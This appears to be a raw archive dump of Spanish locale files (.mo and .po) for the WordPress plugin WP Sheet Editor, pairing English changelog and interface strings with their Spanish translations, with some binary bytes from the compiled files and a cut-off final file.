Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_CR.mo000064400000026437147600365160013441 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_CR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_ES.po000064400000032036147600365160013437 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-es_UY.mo000064400000026437147600365160013472 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_UY MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_PR.po000064400000032041147600365160013445 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_PR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP 